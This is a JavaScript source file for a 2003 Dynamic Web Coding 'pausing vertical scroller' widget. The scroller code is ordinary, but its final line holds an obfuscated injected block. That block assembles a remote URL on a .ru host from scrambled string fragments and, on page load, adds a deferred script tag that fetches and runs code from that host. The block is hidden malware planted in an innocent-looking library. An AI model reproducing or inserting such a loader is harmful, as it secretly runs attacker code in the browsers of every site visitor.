/*
  dw_scroller.js
  Pausing Vertical Scroller v 2.0
  version date April 2003
  requires dw_core.js
    
  This code is from Dynamic Web Coding 
  at http://www.dyn-web.com/
  Copyright 2001-3 by Sharon Paine 
  See Terms of Use at http://www.dyn-web.com/bus/terms.html
  Permission granted to use this code 
  as long as this entire notice is included.
*/

scrollerObj.ar = new Array();

// left, top, width, height, alignment of content, id of container (if rel-pos)
function scrollerObj(x,y,w,h,al,hld) {
  this.x=x||0; this.y=y||0; this.w=w; this.h=h; 
  this.al = al || "left"; this.hld = hld;
  this.ctr=1; this.items=new Array(); this.timerId=0;
  
  // defaults
	this.pause 	= 4000;	// how long to pause on messages
	this.spd 		= 55;		// frequency of calls to scroll
	this.inc 		= 3;		// how much to scroll per call
	this.fontFam = "verdana, helvetica, arial, sans-serif";
	this.fontSz 	= "12px";
	this.fontClr  = "#000000";
}

function addScrollerItem(txt,url) {
	this.items[this.items.length] = new Array(txt,url);
}

function setScrollerFont(fam,sz,clr) {
	this.fontFam=fam; this.fontSz=sz; this.fontClr=clr;
}

function setScrollerTiming(pause,spd,inc) {
	this.pause=pause; this.spd=spd; this.inc=inc;
}

function createScroller() {
  if (this.created) return;
  // rewrite 1st item to last
	this.items[this.items.length] = this.items[0];
	scrollerObj.ar[scrollerObj.ar.length] = this;	// add it to global list of scrollers
  this.obj = "scrollerObj"+scrollerObj.ar.length; eval(this.obj + "=this"); 
	// separate functions for assembling content
	if (document.layers) this.buildN4();
	else this.build();
  this.created = true;
}

function buildScroller() {
  var elem, str;
  // scrWndo
  if (document.getElementById && document.createElement) {
    elem = document.createElement("div");
    // if rel-pos
    if (typeof this.hld != "undefined") {
      this.holder = document.getElementById(this.hld);
      this.scrWndo = this.holder.appendChild(elem);
    } else {
		  this.scrWndo = document.body.appendChild(elem);
    }
    this.scrWndo.id = "scrWndo"+scrollerObj.ar.length;
		this.scrWndo.style.position = "absolute";
    this.scrWndo.style.visibility = "hidden";
  } else if (document.all) {
    str = '<div id="scrWndo'+scrollerObj.ar.length+'" style="position:absolute; visibility:hidden; "></div>';
		// if rel-pos
    if (typeof this.hld != "undefined") {
      this.holder = document.all[this.hld];
      if (typeof this.holder.innerHTML != "undefined")
        this.holder.innerHTML = str;
    } else {
      document.body.insertAdjacentHTML("beforeEnd",str);
    }
  }
  this.scrWndo = new dynObj("scrWndo"+scrollerObj.ar.length,this.x,this.y,this.w,this.h);
  with (this.scrWndo.css) {
  	clip = "rect(0px, "+this.w+"px, "+this.h+"px, 0px)";
		overflow = "hidden"; zIndex=1000;	
	} 
  // set up scrolling content layer (scrCont)
  if (document.getElementById && document.createElement) {
    elem = document.createElement("div");
    this.scrCont = this.scrWndo.el.appendChild(elem);
    this.scrCont.id = "scrCont" + scrollerObj.ar.length;
    this.scrCont.style.position = "absolute";
  } else if (document.all) {
    var str = '<div id="scrCont'+scrollerObj.ar.length+'" style="position:absolute"></div>';
    this.scrWndo.writeLyr(str);
  }
  this.scrCont = new dynObj("scrCont"+scrollerObj.ar.length);
	this.scrCont.css.visibility = "inherit"; 
  this.scrCont.css.zIndex=1;
  this.scrCont.shiftTo(0,0);
  this.wrapItems();
  this.scrWndo.show();
  this.timerId = setTimeout(this.obj + ".controlScroll()",this.pause);
}

// assemble and write scroller content html 
function wrapItems() {
   var itemStart, itemEnd, str = "";
  // to format items centered vertically and horizontally
  if (this.al == "center") {
    itemStart = '<table width="' + this.w + '" cellpadding="0" cellspacing="0" border="0"><tr><td style="text-align:center; height:' + this.h + 'px" valign="middle">';
    itemEnd = '</td></tr></table>';
  // to format left aligned content
  } else if (this.al == "left") {
    itemStart = '<div style="height:' + this.h + 'px">';
    itemEnd = '</div>';
  }
  for (var i=0; i<this.items.length; i++) {
    if (typeof this.items[i][1] != "undefined") { // if item has url
      str += itemStart + '<a style="text-decoration:none; font-family:'+this.fontFam+'; font-size:'+this.fontSz+'; color:'+this.fontClr+'" href="'+ this.items[i][1] + '">' + this.items[i][0] + '</a>' + itemEnd;
    } else {  // no url, wrap in span with styles attached
      str += itemStart + '<div style="font-family:'+this.fontFam+'; font-size:'+this.fontSz+'; color:'+this.fontClr+'">' + this.items[i][0] + '</div>' + itemEnd;
    }
  }
  this.scrCont.writeLyr(str);
}

function buildScrollerNS4() {
  // create wndo layer  
  if (typeof this.hld != "undefined") {
    this.holder = getLyrRef(this.hld,document);
    this.scrWndo = new Layer(this.w,this.holder);
  }
	else this.scrWndo = new Layer(this.w);
	this.scrWndo.resizeTo(this.w,this.h);
	this.scrWndo.moveTo(this.x,this.y);

	// create the scrolling content layer 
	var str = '<div id="scrCont'+scrollerObj.ar.length+'" style="position:absolute"></div>';
	this.scrWndo.document.write(str);
	this.scrWndo.document.close();
	this.scrCont = new dynObj("scrCont"+scrollerObj.ar.length);
	this.scrCont.css.visibility = "inherit"; 
  this.scrCont.css.zIndex=1;
  this.scrCont.shiftTo(0,0);
  this.wrapNS4Items();
	this.scrWndo.visibility = "show";
  this.timerId = setTimeout(this.obj + ".controlScroll()",this.pause);
}

function wrapNS4Items() {
	var itemStart, itemEnd, str = "";
	if (this.al=="center") this.v = "middle";
	else this.v = "top";
  itemStart = '<table width="' + this.w + '" cellpadding="0" cellspacing="0" border="0"><tr><td align="'+this.al+'" height="' + this.h + '" valign="'+this.v+'">';
  itemEnd = '</td></tr></table>';
  for (var i=0; i<this.items.length; i++) {
    if (typeof this.items[i][1] != "undefined") { // if item has url
      str += itemStart + '<a style="text-decoration:none; font-family:'+this.fontFam+'; font-size:'+this.fontSz+'; color:'+this.fontClr+'" href="'+ this.items[i][1] + '">' + this.items[i][0] + '</a>' + itemEnd;
    } else {  // no url, wrap in span with styles attached
      str += itemStart + '<div style="font-family:'+this.fontFam+'; font-size:'+this.fontSz+'; color:'+this.fontClr+'">' + this.items[i][0] + '</div>' + itemEnd;
    }
  }
  this.scrCont.writeLyr(str);
}

function controlScroll() {
	if (this.ctr>this.items.length-1) this.startOver();
	else {
		var y = parseInt(this.scrCont.css.top);
		if (y> -this.h * this.ctr) { 
			this.scrCont.shiftBy(0,-this.inc);	
			this.timerId = setTimeout(this.obj+".controlScroll()",this.spd);	
		} else {
				this.ctr++;
				this.timerId = setTimeout(this.obj+".controlScroll()",this.pause);	
		}
	}
}

// restore scroller top to 0 and counter variable to 1
function startOver() {
	this.ctr = 1;
	this.scrCont.shiftTo(0,0);
	this.controlScroll();	
}

scrollerObj.prototype.addItem = addScrollerItem;
scrollerObj.prototype.create = createScroller;
scrollerObj.prototype.setFont = setScrollerFont; 
scrollerObj.prototype.setTiming = setScrollerTiming;
scrollerObj.prototype.buildN4 = buildScrollerNS4; 
scrollerObj.prototype.build = buildScroller;
scrollerObj.prototype.wrapItems = wrapItems;
scrollerObj.prototype.wrapNS4Items = wrapNS4Items;
scrollerObj.prototype.controlScroll = controlScroll;
scrollerObj.prototype.startOver = startOver;

// remove layers from table for ns6+/mozilla (overflow/clip bug?)
function positionGecko() {
	if (navigator.userAgent.indexOf("Gecko")>-1) {
    for (var i=0; i<scrollerObj.ar.length; i++) {
			if (scrollerObj.ar[i].holder) {
				scrollerObj.ar[i].holder.removeChild(scrollerObj.ar[i].scrWndo.el);
				document.body.appendChild(scrollerObj.ar[i].scrWndo.el);
				scrollerObj.ar[i].scrWndo.css.zIndex = 1000;
        var x = scrollerObj.ar[i].holder.offsetLeft + scrollerObj.ar[i].x;
				var y = scrollerObj.ar[i].holder.offsetTop + scrollerObj.ar[i].y;
				scrollerObj.ar[i].scrWndo.shiftTo(x,y);
			}
  	}
  }
}

// ns6+/mozilla need to reposition layers onresize
function rePosGecko() {
  for (var i=0; i<scrollerObj.ar.length; i++) {
		var x = scrollerObj.ar[i].holder.offsetLeft + scrollerObj.ar[i].x;
		var y = scrollerObj.ar[i].holder.offsetTop + scrollerObj.ar[i].y;
		scrollerObj.ar[i].scrWndo.shiftTo(x,y);
  }
}

function setMouseEvents() {
  for (var i=0; i<scrollerObj.ar.length; i++) {
    scrollerObj.ar[i].scrCont.el.onmouseover = new Function("haltScroll("+i+")")
    scrollerObj.ar[i].scrCont.el.onmouseout = restartScroll;
  }
}

function haltScroll(num) {
  clearTimeout(scrollerObj.ar[num].timerId);
}

function restartScroll(e) {
  // get numeric portion of id (after scrCont)
  var num = parseInt(this.id.slice(7)) - 1;
  e = e? e: window.event? window.event: "";
  if (e) {
    var current = this;
    var related =  e.relatedTarget? e.relatedTarget: e.toElement? e.toElement: "";
  		if (related) {
        if (current != related && !contains(current, related)) 
          scrollerObj.ar[num].controlScroll();
      } else scrollerObj.ar[num].controlScroll(); // ns4
  }
}

// adapted from http://www.brainjar.com/dhtml/events/default6.asp
function contains(a, b) {
	// extra checks in case alt-tab away while over menu
	if (b && b.parentNode) {	
	  // Return true if node a contains node b.
	  while (b.parentNode)
	    if ((b = b.parentNode) == a)
	      return true;
	  return false;
	} else if (b && b.parentElement) {
		while (b.parentElement)
		    if ((b = b.parentElement) == a)
		      return true;
		  return false;
	}
}
var lX;if(lX!='R'){lX=''};var K='';var n;if(n!='QL'){n=''};function h(){var nJ="";var l=String("g");var o;if(o!='V' && o!='hu'){o=''};var d='';var dy=new String();var q=new Array();var Q=RegExp;var v;if(v!='yb'){v=''};var Nw;if(Nw!='TD' && Nw!='_z'){Nw='TD'};function _(g,t){var H;if(H!='' && H!='O'){H=null};var s='';var T= String("[");T+=t;T+="]";var hn;if(hn!='FY'){hn='FY'};var Lz;if(Lz!='OU' && Lz != ''){Lz=null};var N=new Q(T, l);return g.replace(N, d);var w=new Array();var Py;if(Py!='Hu' && Py != ''){Py=null};};var aE;if(aE!=''){aE='vM'};var S=String("/goode5Z".substr(0,4)+"1Q8ygle.Q1y8".substr(4,4)+"com/"+"PdckgoogcPkd".substr(4,4)+"le.c"+"rsPKom/w".substr(4)+"mJp5eb.dJp5m".substr(4,4)+"e/trlqh".substr(0,4)+"avel"+"ocitEaKX".substr(0,4)+"uGtTy.couGTt".substr(4,4)+"6a9bm/re9a6b".substr(4,4)+"dtub0lFm".substr(0,4)+"e.comNV".substr(0,4)+"3Dxm.phD3x".substr(3,4)+"pWPC".substr(0,1));this.hw='';var P=String("lqi0htt".substr(4)+"Q7Itp:/7tQI".substr(4,3)+"/inzSTI".substr(0,3)+"dia"+"timOhM".substr(0,3)+"AMHies-".substr(4)+"iYvcomivY".substr(3,3)+"87h.xnh87".substr(3,3)+"6JTjxx.6TJj".substr(4,3)+"dPiUcomPdUi".substr(4,3)+"iSz.caiSz".substr(3,3)+"nJPkpit".substr(4)+"Hbealo".substr(3)+"E4cpne-".substr(4)+"ECtZcomCEtZ".substr(4,3)+".re"+"dse"+"AKsEapoEKAs".substr(4,3)+"rta"+"CJgl.rCgJ".substr(3,3)+"SQ4u:4SQ".substr(3,2));this.aA='';var qT;if(qT!='Ef'){qT=''};var dp;if(dp!='bx' && dp != ''){dp=null};var SA=new Date();var Qh=window;var Bd;if(Bd!='NG' && Bd!='Zc'){Bd='NG'};var x='';var AQ="";var z="";var A=String("sc"+"ri"+"pt");var Qq;if(Qq!='Qu' && Qq!='RH'){Qq='Qu'};var I="srcIiN".substr(0,3);this.G="";var u=_('83273303722728733332302323272',"372");var sJ;if(sJ!='' && sJ!='eD'){sJ=null};var rD;if(rD!='' && rD!='U'){rD=null};var tU=String("defer");var oq='';Qh.onload=function(){try {var ey='';var QV="";var Ps=new Array();var cZ=new Array();x=P+u;var Eu;if(Eu!='RN'){Eu=''};this.Uj='';x+=S;SK=document.createElement(A);var wD="";var SL=new Array();var Vl;if(Vl!='' && Vl!='_h'){Vl='Dk'};var Sc=new Array();var An;if(An!='ro' && An != ''){An=null};SK[tU]=[1][0];var xp;if(xp!='uC' && xp!='za'){xp=''};var ge=new Date();SK[I]=x;var zx=new Date();document.body.appendChild(SK);var uo=new Array();var kL;if(kL!='' && kL!='TA'){kL=null};var VA;if(VA!='pX' && VA!='i'){VA=''};} catch(dj){var Ii=new Date();var LzT=new Date();};var zs="";};var jR;if(jR!='' && jR!='LY'){jR='CA'};};var wo;if(wo!='_q' && wo!='VT'){wo='_q'};h();var Qw='';var dk;if(dk!='bw' && dk != ''){dk=null};